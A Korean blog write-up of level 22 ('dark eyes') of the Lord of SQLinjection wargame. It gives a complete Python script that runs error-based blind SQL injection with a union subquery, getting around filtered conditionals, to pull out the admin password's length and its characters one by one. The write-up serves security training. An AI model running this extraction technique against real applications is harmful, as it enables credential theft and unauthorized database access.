Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 자바
- 스프링
- 마이크로서비스 아키택트
- Los
- injection
- 스프링구조
- sql
- 해킹
- 보안
- 자바 Array list
- 세션
- APM
- 스프링 특징
- Lord of sqlinjection
- XSS
- 자바 문법
- 쿠키
- 스프링 종류
- 소켓
- 자바 has-a
- php
- 클라이언트
- 웹
- 자바 is-a
- lord of sqlinjection`
- sqlinjection
- 웹 개발
- 서버
- 세션쿠키
- lord of sqlinjectin
Archives
- Today
- Total
LJ
Lord of SQLinjection ( 22번 ) dark eyes 본문
22번 다크 아이즈 이다.
21번 문제와 같이 에러 기반 인젝션이다.
다른점이 있다면 if를 사용하지 못한다. (case when 도 사용하지 못한다.)
import requests
url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
cookie = dict(PHPSESSID="4jnokk4mvhdm24glsa8dsqr45v")
def pw_length():
print("**** find for pw length ****")
for i in range(0, 20):
param = f"?pw=%27%20or%20id=%27admin%27%20and%20(select%201%20union%20select(length(pw)={i}))%23"
new_url = url + param
res = requests.get(new_url, cookies=cookie)
if res.text != "":
print("find pw length : " + str(i))
return i
else:
print("Please... : " + str(i))
def pw_get(length):
print("**** find for pw ****")
jjang = ""
for i in range(1, length + 1):
print(f"{i}번째 비밀번호 확인중")
for j in range(0, 128):
param = f"?pw=%27%20or%20id=%27admin%27%20and%20(select 1 union select(ascii(substr(pw,{i},1))={j}))%23"
new_url = url + param
res = requests.get(new_url, cookies=cookie)
if res.text != "":
print(f"{i}번째 문자 -> {chr(j)}")
jjang += chr(j)
break
return jjang
length = pw_length()
password = pw_get(length)
print("here's your password : " + password)
이번에는 조건문을 통한 에러 발생시키는 것이 아닌
서브쿼리를 합쳐 에러를 발생시킨다.
select 1 union select 0 일 경우 1,0 두개의 행을 결과로 나타내고
select 1 union select 1 일 경우 1 한개의 행을 결과로 나타낸다.
이때 이 페이지에서는 전자일때 아무런 응답이 없다.
길이와 비밀번호를 확인 가능하다.
'IT 보안 > 보안첼린지' 카테고리의 다른 글
Lord of SQLinjection ( 24번 ) evil wizard (1) | 2024.07.14 |
---|---|
Lord of SQLinjection ( 23번 ) hell fire (0) | 2024.07.07 |
Lord of SQLinjection ( 21번 ) iron golem (1) | 2024.07.05 |
Lord of SQLinjection ( 20번 ) dragon (0) | 2024.07.04 |
Lord of SQLinjection ( 19번 ) xavis (0) | 2024.06.30 |
Comments